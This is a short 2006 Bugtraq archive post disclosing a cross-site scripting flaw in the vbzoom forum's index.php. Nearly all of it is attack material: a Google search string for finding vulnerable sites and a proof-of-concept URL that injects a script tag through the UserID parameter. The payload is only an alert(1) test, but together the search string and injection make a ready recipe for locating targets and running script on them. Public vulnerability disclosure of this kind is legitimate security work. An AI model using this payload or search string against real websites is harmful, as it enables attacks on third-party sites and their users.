Bugtraq mailing list archives

XXS in Powered by vbzoom


From: exe_crack () hotmail com
Date: 1 Sep 2006 14:45:32 -0000

vbzoom ====> index.php

info:
file:index.php
thank to www.lezr.com/vb

google ======> powered by vbzoom inurl:index.php?UserID=

Exp:
http://[traget]/[path]/index.php?UserID=";><script>alert(1);</script>

===================================
by Crack_man


Current thread: